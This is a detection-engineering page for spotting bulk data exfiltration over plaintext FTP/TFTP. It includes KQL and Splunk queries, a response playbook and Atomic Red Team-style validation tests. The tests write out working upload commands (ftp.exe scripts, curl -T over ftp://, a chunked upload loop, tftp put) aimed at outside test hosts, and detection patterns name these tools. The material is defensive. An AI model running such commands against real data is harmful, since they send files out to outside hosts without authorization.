Bulk Data Exfiltration over Plaintext FTP/TFTP to an External Host
Adversaries who need to move collected data off a compromised host frequently fall back to plaintext FTP (TCP/21 control, TCP/20 active data) or TFTP (UDP/69) rather than the encrypted C2 channel, because both clients ship with the operating system, both are commonly allowed outbound by legacy egress rules written for vendor file drops, and neither requires the adversary to stand up TLS infrastructure. The transfer is unauthenticated to the network's eye — credentials and file contents traverse the wire in cleartext — which makes this the single highest-fidelity exfiltration pattern available to a defender who has FTP command-level or flow telemetry, since the uploaded filenames and byte volumes are directly observable. This detection focuses on the outbound-to-external direction only: a host inside the estate initiating repeated FTP/TFTP sessions to a public destination, or issuing FTP store commands (STOR/APPE/STOU) to a non-corporate server. The platform already covers encrypted alternative-protocol exfiltration over SSH/SFTP and DNS/ICMP tunnelling, but has no detection for the unencrypted non-C2 protocol case (T1048.003), which is the variant most often seen on legacy Windows and Linux servers where an old ftp.exe or tftp.exe binary is the path of least resistance.
What is THREAT-Exfiltration-PlaintextFTPBulkUpload Bulk Data Exfiltration over Plaintext FTP/TFTP to an External Host?
Bulk Data Exfiltration over Plaintext FTP/TFTP to an External Host (THREAT-Exfiltration-PlaintextFTPBulkUpload) maps to the Exfiltration tactic — the adversary is trying to steal data in MITRE ATT&CK.
This page provides production-ready detection logic for Bulk Data Exfiltration over Plaintext FTP/TFTP to an External Host, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint (DeviceNetworkEvents), Microsoft Defender for Endpoint (DeviceProcessEvents), Network Traffic: Network Connection Creation, Command: Command Execution. The queries below are rated high severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Exfiltration
let LookBack = 24h;
// THREAT: Bulk exfiltration over plaintext FTP/TFTP to an external destination (T1048.003)
let FtpPorts = dynamic([20, 21, 69]);
let FtpClients = dynamic(["ftp.exe", "tftp.exe", "winscp.exe", "filezilla.exe", "ncftpput.exe", "lftp", "ftp", "tftp"]);
let IsExternal = (ip: string) {
ip matches regex @"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$"
and not(ipv4_is_in_range(ip, "10.0.0.0/8"))
and not(ipv4_is_in_range(ip, "172.16.0.0/12"))
and not(ipv4_is_in_range(ip, "192.168.0.0/16"))
and not(ipv4_is_in_range(ip, "127.0.0.0/8"))
and not(ipv4_is_in_range(ip, "169.254.0.0/16"))
and not(ipv4_is_in_range(ip, "100.64.0.0/10"))
};
// Signal 1: repeated outbound sessions to FTP/TFTP ports on a public destination
let ExternalFtpSessions = DeviceNetworkEvents
| where Timestamp > ago(LookBack)
| where ActionType in ("ConnectionSuccess", "ConnectionRequest")
| where RemotePort in (FtpPorts)
| where IsExternal(RemoteIP)
| summarize ConnectionCount = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp),
Ports = make_set(RemotePort, 8), Clients = make_set(InitiatingProcessFileName, 10),
CommandLines = make_set(InitiatingProcessCommandLine, 10)
by DeviceName, AccountName = InitiatingProcessAccountName, RemoteIP
| where ConnectionCount >= 5
| extend Signal = "ExternalPlaintextFtpSession";
// Signal 2: native FTP/TFTP client invoked with an upload verb or an ftp:// URL
let FtpClientUpload = DeviceProcessEvents
| where Timestamp > ago(LookBack)
| where FileName in~ (FtpClients)
or ProcessCommandLine contains "ftp://"
or ProcessCommandLine contains "FtpWebRequest"
| where ProcessCommandLine has_any ("put ", "mput", "STOR", "-T ", "--upload-file", "ftp://", "FtpWebRequest")
| summarize ConnectionCount = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp),
Clients = make_set(FileName, 10), CommandLines = make_set(ProcessCommandLine, 10)
by DeviceName, AccountName, RemoteIP = ""
| extend Ports = dynamic([]), Signal = "FtpClientUploadCommand";
ExternalFtpSessions
| union FtpClientUpload
| sort by LastSeen desc Detects plaintext FTP/TFTP exfiltration using Microsoft Defender for Endpoint telemetry. Signal 1 aggregates DeviceNetworkEvents connections to TCP/20, TCP/21 and UDP/69 whose RemoteIP falls outside RFC1918, loopback, link-local and CGNAT space (evaluated with ipv4_is_in_range, not string matching), alerting when a single host/account/destination tuple exceeds five sessions in 24 hours — repeated sessions being the signature of a chunked or multi-file transfer rather than a one-off connectivity test. Signal 2 flags DeviceProcessEvents launches of a built-in or bundled FTP/TFTP client (ftp.exe, tftp.exe, lftp, WinSCP, FileZilla, ncftpput) or any command line containing an ftp:// URL or a .NET FtpWebRequest, restricted to command lines carrying an upload verb (put/mput/STOR/curl -T/--upload-file). Note that DeviceNetworkEvents carries no byte-volume field, so volume scoring must come from the network-side platforms (Zeek/flow) in this detection pack.
Data Sources
Required Tables
False Positives
- Legacy business-to-business file drops — payroll, EDI, banking and healthcare claim feeds are still routinely delivered over plaintext FTP to a fixed vendor host; allowlist by destination IP plus source server rather than by port
- Network management and backup appliances that pull or push device configurations over TFTP (switch/router config archival, PXE and firmware staging), which legitimately generate high UDP/69 volumes
- Software update and mirror synchronisation jobs that use anonymous FTP against public distribution mirrors
- Security scanners and asset-discovery tools whose port sweeps touch TCP/21 across many external hosts — these show one connection per destination, so the five-session threshold usually suppresses them
- Administrators using ftp.exe or WinSCP interactively for a legitimate one-off transfer to a known partner
Sigma rule & cross-platform mapping
The detection logic for Bulk Data Exfiltration over Plaintext FTP/TFTP to an External Host (THREAT-Exfiltration-PlaintextFTPBulkUpload) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for THREAT-Exfiltration-PlaintextFTPBulkUpload
References (6)
- https://attack.mitre.org/techniques/T1048/003/
- https://attack.mitre.org/techniques/T1048/
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1048.003/T1048.003.md
- https://docs.zeek.org/en/master/logs/ftp.html
- https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-devicenetworkevents-table
- https://datatracker.ietf.org/doc/html/rfc959
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Windows Native ftp.exe Scripted Upload to External Host
Expected signal: DeviceProcessEvents record for ftp.exe with a -s:<scriptfile> command line, followed by DeviceNetworkEvents ConnectionSuccess records to the resolved external IP on RemotePort 21.
- Test 2Linux curl Upload over ftp:// to External Host
Expected signal: auditd EXECVE / MDE for Linux DeviceProcessEvents record for curl with '-T' and an ftp:// URL. Zeek ftp.log records a STOR command with the uploaded filename in 'arg' and a non-zero file_size to an external dest_ip.
- Test 3Repeated Chunked FTP STOR Commands to Trigger Volume Threshold
Expected signal: Six Zeek ftp.log STOR records to the same external dest_ip within a short window, each with a distinct 'arg' filename; six corresponding curl process-execution records.
- Test 4Windows tftp.exe Outbound Transfer Attempt
Expected signal: DeviceProcessEvents record for tftp.exe with a 'put' argument and an external IPv4 destination; DeviceNetworkEvents ConnectionRequest record on RemotePort 69 (UDP) if the client is installed and egress is attempted.
Response Playbook
Triage
- Identify the destination: resolve the external IP to a hostname and owner (WHOIS/ASN). A partner or vendor netblock with a long history in the flow data is a very different finding from a VPS, bulletproof-hosting or residential-proxy range first seen today.
- Read the uploaded path names straight out of the Zeek ftp.log 'arg' field (or the KQL command line) — FTP is cleartext, so the actual filenames are available. Archive extensions (.7z, .zip, .tar.gz, .rar), database dumps, or paths under user profile/share directories confirm data staging rather than an application file transfer.
- Quantify the volume: sum file_size in ftp.log and orig_bytes in the matching conn.log uid for the session. Compare against the host's normal outbound baseline — a file server that has never sent more than a few MB outbound suddenly sending gigabytes is the escalation trigger.
- Determine who initiated it: correlate the source host and time window against DeviceProcessEvents/auditd to find the process and account that launched the FTP client, and whether it was interactive (an admin at a console) or spawned by a service, web server, or scheduled job — a w3wp.exe or php-fpm parent points at a web shell.
- Check the FTP credentials observed in ftp.log 'user': 'anonymous' against an unknown host is strongly suspicious; a corporate service account being used against a non-corporate host means the credential itself is now compromised and in the adversary's possession in cleartext.
- Look for the collection step immediately preceding the transfer — archive creation (tar/zip/7z/rar), a large staged file in %TEMP%, /tmp or /var/tmp, or a bulk read of a file share — to establish what data set was assembled before it left.
Containment
- Block the destination IP and, where the business permits, plaintext FTP/TFTP egress generally (TCP/20, TCP/21, UDP/69) at the perimeter firewall — deny outbound by default and allowlist the small set of legitimate partner endpoints identified during triage.
- Treat every credential seen in the cleartext FTP session as compromised and rotate it, along with any credential stored in a file that was uploaded.
- Isolate or restrict the source host if transfer is still in progress; if the host is business-critical, apply a targeted egress block for the destination first and isolate only once continued exfiltration is confirmed.
- Preserve the staged archive files before removing them — they are the best available evidence of exactly what data was taken, which drives the regulatory notification scope.
- If the initiating process was a web-facing service, take the application offline or restore it from a known-good build, since the FTP transfer is a symptom of an underlying web shell or code-execution flaw that will otherwise persist.
Evidence Collection
- Zeek ftp.log entries for the session (uid, user, password, command, arg, file_size, reply_code) and the corresponding conn.log records for orig_bytes/resp_bytes and duration
- Full packet capture for the session if the sensor retains it — plaintext FTP means the transferred content itself may be recoverable, giving an exact rather than inferred scope
- Process telemetry for the FTP/TFTP client execution: MDE DeviceProcessEvents or Linux auditd EXECVE, including full command line, parent process and account
- The staged archive or source files referenced in the upload paths, with hashes and MAC timestamps
- Perimeter firewall/proxy logs for the destination IP over the preceding 30 days, to determine whether this destination was contacted before the alerting window
- Shell history, web-server access logs, or scheduled-job definitions for the initiating account, to establish how the transfer was launched
Escalation Criteria
- ! Cumulative uploaded volume to an external, non-partner destination exceeds the incident-response threshold for suspected data loss (commonly tens of megabytes of archived content)
- ! Uploaded path names indicate regulated or high-value data — customer records, database dumps, credential stores, source code, or key material
- ! The FTP session used a corporate service account or domain credential against a non-corporate destination, meaning that credential has now been transmitted in cleartext to an adversary-controlled host
- ! The initiating process is a web server, database, or other service account rather than an interactive administrator, indicating remote code execution on the host
- ! The same external destination is contacted by more than one internal host, indicating a coordinated collection campaign rather than a single compromised system
Investigation Guide
Forensic Artifacts
- >
Zeek ftp.log — the authoritative record of FTP commands, arguments, credentials and per-file sizes, since the protocol is unencrypted - >
%TEMP%, /tmp and /var/tmp staged archives referenced in the STOR arguments, with creation timestamps bracketing the transfer - >
Windows: ftp.exe command history via the -s:<scriptfile> argument — the referenced script file often persists on disk and contains the destination, credentials and the full file list - >
Linux: ~/.netrc and ~/.lftp/ configuration files, which store FTP hosts and credentials in cleartext and are frequently created by scripted transfers - >
Perimeter firewall and NetFlow records for TCP/20, TCP/21 and UDP/69 to the destination, establishing the full timeline and total byte volume - >
Prefetch/Amcache (Windows) or auditd EXECVE (Linux) entries evidencing execution of ftp.exe, tftp.exe, lftp or ncftpput
Tuning Guidance
This rule is unusually tunable because legitimate plaintext FTP in a modern estate is a small, enumerable set. Start by running the 30-day hunting query and turning its top results into a destination allowlist keyed on (source host, destination IP) pairs — not on port and not on destination alone, since an adversary who compromises the server that legitimately talks to a partner endpoint will otherwise inherit the suppression. TFTP (UDP/69) deserves its own handling: in estates with network-device config archival it is high-volume and benign to a small number of collectors, so allowlist those collectors explicitly and treat any other external UDP/69 destination as high severity, since there is no ordinary business reason for an endpoint to TFTP to the internet. The five-session and 50 MB thresholds are starting points sized for a mid-size estate; if outbound FTP is already denied at the perimeter, drop the connection threshold to 1 and reclassify the rule as a policy-violation monitor, because a blocked attempt is still evidence of adversary intent and the source host still warrants investigation. Finally, keep Signal 2 (client execution) tuned separately from Signal 1 (network sessions) — Signal 2 fires on intent even when the connection fails, and its false-positive profile is driven by administrator activity rather than by scheduled business transfers.
Hunting Queries
Thirty-day inventory of every external FTP/TFTP destination the estate talks to, ranked by session count. Run this first to build the allowlist of legitimate partner endpoints — the long tail of one-off destinations at the bottom of the list is where opportunistic exfiltration hides, and any destination contacted by exactly one host for a short window deserves a look.
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemotePort in (20, 21, 69)
| where RemoteIP matches regex @"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$"
| where not(ipv4_is_in_range(RemoteIP, "10.0.0.0/8"))
and not(ipv4_is_in_range(RemoteIP, "172.16.0.0/12"))
and not(ipv4_is_in_range(RemoteIP, "192.168.0.0/16"))
and not(ipv4_is_in_range(RemoteIP, "100.64.0.0/10"))
| summarize Sessions = count(), Hosts = dcount(DeviceName), FirstSeen = min(Timestamp), LastSeen = max(Timestamp),
Clients = make_set(InitiatingProcessFileName, 10)
by RemoteIP, RemotePort
| sort by Sessions desc index=zeek sourcetype="zeek:ftp:json" earliest=-30d
| where NOT (cidrmatch("10.0.0.0/8", dest_ip) OR cidrmatch("172.16.0.0/12", dest_ip) OR cidrmatch("192.168.0.0/16", dest_ip) OR cidrmatch("100.64.0.0/10", dest_ip))
| stats count as Sessions, dc(src_ip) as SourceHosts, values(command) as Commands, values(user) as Users by dest_ip, dest_port
| sort - Sessions Atomic Red Team Tests
Uses the built-in Windows ftp.exe client with a script file to log in to a public anonymous FTP test server and upload a small benign file, exercising both the client-execution and the external-session signals. No sensitive data is transferred.
Command
echo df00tech atomic test > %TEMP%\df00tech-ftp-test.txt & (echo open test.rebex.net& echo demo& echo password& echo put %TEMP%\df00tech-ftp-test.txt& echo bye) > %TEMP%\df00tech-ftp.txt & ftp.exe -n -s:%TEMP%\df00tech-ftp.txt Cleanup
del /q %TEMP%\df00tech-ftp-test.txt %TEMP%\df00tech-ftp.txt Expected Telemetry
DeviceProcessEvents record for ftp.exe with a -s:<scriptfile> command line, followed by DeviceNetworkEvents ConnectionSuccess records to the resolved external IP on RemotePort 21.
Expected Detection
KQL Signal 2 'FtpClientUploadCommand' fires on the ftp.exe execution. KQL Signal 1 'ExternalPlaintextFtpSession' fires once the session count for the destination reaches the threshold (repeat the test or lower the threshold to 1 when validating in a lab).
Uses curl with an ftp:// URL to upload a benign generated file to a public FTP test endpoint, simulating the scripted-transfer variant most often seen on compromised Linux web servers.
Command
dd if=/dev/urandom of=/tmp/df00tech-ftp-test.bin bs=1K count=64 2>/dev/null; curl -T /tmp/df00tech-ftp-test.bin ftp://demo:[email protected]/ Cleanup
rm -f /tmp/df00tech-ftp-test.bin Expected Telemetry
auditd EXECVE / MDE for Linux DeviceProcessEvents record for curl with '-T' and an ftp:// URL. Zeek ftp.log records a STOR command with the uploaded filename in 'arg' and a non-zero file_size to an external dest_ip.
Expected Detection
SPL 'ExternalPlaintextFtpUpload' fires on the Zeek STOR record once the threshold is met; KQL Signal 2 fires on the curl command line containing 'ftp://' and '-T '.
Generates several small files and uploads them in a single FTP session, reproducing the chunked transfer pattern used to stay under volume-based egress monitoring and exercising the five-upload-command threshold in the SPL/Zeek rule.
Command
for i in 1 2 3 4 5 6; do dd if=/dev/urandom of=/tmp/df00tech-chunk-$i.bin bs=1K count=32 2>/dev/null; curl -T /tmp/df00tech-chunk-$i.bin ftp://demo:[email protected]/; done Cleanup
rm -f /tmp/df00tech-chunk-*.bin Expected Telemetry
Six Zeek ftp.log STOR records to the same external dest_ip within a short window, each with a distinct 'arg' filename; six corresponding curl process-execution records.
Expected Detection
SPL 'ExternalPlaintextFtpUpload' fires because UploadCommands reaches 6 against a single external destination; Chronicle, CrowdStrike and QRadar variants fire on the repeated external port-21 sessions from the same source.
Invokes the optional Windows TFTP client against an external host on UDP/69. The transfer itself is expected to fail in most environments; the value of the test is that the client execution and the outbound UDP/69 attempt are still generated.
Command
echo df00tech atomic test > %TEMP%\df00tech-tftp-test.txt & tftp.exe -i 203.0.113.10 put %TEMP%\df00tech-tftp-test.txt Cleanup
del /q %TEMP%\df00tech-tftp-test.txt Expected Telemetry
DeviceProcessEvents record for tftp.exe with a 'put' argument and an external IPv4 destination; DeviceNetworkEvents ConnectionRequest record on RemotePort 69 (UDP) if the client is installed and egress is attempted.
Expected Detection
KQL Signal 2 'FtpClientUploadCommand' fires on the tftp.exe 'put' command line regardless of whether the transfer completes.
Related Detections
Tactic Hub
Detection Variants (3)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.
- THREAT-DNSTunnel-ExfilDNS Tunneling for Covert Data ExfiltrationUse for network-side DNS visibility — Zeek/Infoblox resolver logs and pcap; catches tunneling from hosts with no endpoint agent.
- THREAT-DNSTunneling-ExfiltrationData Exfiltration via DNS Tunneling ToolsUse for endpoint DNS telemetry — Sysmon EID 22 / MDE DeviceDnsEvents; adds process attribution and tool fingerprints (iodine, dnscat2, DNSExfiltrator).
- THREAT-Exfiltration-ICMPTunnelData Exfiltration via ICMP TunnelingUse when the carrier is ICMP rather than DNS — pairs ping/tunneler process flags with firewall, NetFlow or Zeek ICMP records, which EDR network telemetry does not log.